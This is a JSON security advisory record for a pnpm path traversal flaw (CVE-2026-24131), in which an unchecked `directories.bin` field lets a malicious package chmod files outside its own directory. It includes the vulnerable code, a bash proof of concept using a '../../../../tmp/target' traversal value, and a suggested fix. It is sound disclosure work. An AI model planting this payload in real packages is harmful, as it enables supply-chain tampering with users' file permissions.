{"id":"GHSA-v253-rj99-jwpq","summary":"pnpm has Path Traversal via arbitrary file permission modification ","details":"### Summary\nWhen pnpm processes a package's `directories.bin` field, it uses `path.join()` without validating the result stays within the package root. A malicious npm package can specify `\"directories\": {\"bin\": \"../../../../tmp\"}` to escape the package directory, causing pnpm to chmod 755 files at arbitrary locations.\n\n**Note:** Only affects Unix/Linux/macOS. Windows is not affected (`fixBin` gated by `EXECUTABLE_SHEBANG_SUPPORTED`).\n\n### Details\nVulnerable code in `pkg-manager/package-bins/src/index.ts:15-21`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)  // NO VALIDATION\n  const files = await findFiles(binDir)\n  // ... files outside package returned, then chmod 755'd\n}\n```\n\nThe `bin` field IS protected with `isSubdir()` at line 53, but `directories.bin` lacks this check.\n\n### PoC\n```bash\n# Create malicious package\nmkdir /tmp/malicious-pkg\necho '{\"name\":\"malicious\",\"version\":\"1.0.0\",\"directories\":{\"bin\":\"../../../../tmp/target\"}}' \u003e /tmp/malicious-pkg/package.json\n\n# Create sensitive file\nmkdir -p /tmp/target\necho \"secret\" \u003e /tmp/target/secret.sh\nchmod 600 /tmp/target/secret.sh  # Private\n\n# Install\npnpm add file:/tmp/malicious-pkg\n\n# Check permissions\nls -la /tmp/target/secret.sh  # Now 755 (world-readable)\n```\n\n### Impact\n- Supply-chain attack via npm packages\n- File permissions changed from 600 to 755 (world-readable)\n- Affects non-dotfiles in predictable paths (dotfiles excluded by tinyglobby default)\n\n### Suggested Fix\nAdd `isSubdir` validation for `directories.bin` paths in `pkg-manager/package-bins/src/index.ts`, matching the existing validation in `commandsFromBin()`:\n\n```typescript\nif (manifest.directories?.bin) {\n  const binDir = path.join(pkgPath, manifest.directories.bin)\n  if (!isSubdir(pkgPath, binDir)) {\n    return []  // Reject paths outside package\n  }\n  // ...\n}\n```","aliases":["CVE-2026-24131"],"modified":"2026-02-03T03:07:47.088542Z","published":"2026-01-26T21:29:58Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-01-26T21:29:58Z","nvd_published_at":null,"cwe_ids":["CWE-22","CWE-732"]},"references":[{"type":"WEB","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-v253-rj99-jwpq"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/commit/17432ad5bbed5c2e77255ca6d56a1449bbcfd943"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"},{"type":"WEB","url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.2"}],"affected":[{"package":{"name":"pnpm","ecosystem":"npm","purl":"pkg:npm/pnpm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-v253-rj99-jwpq/GHSA-v253-rj99-jwpq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}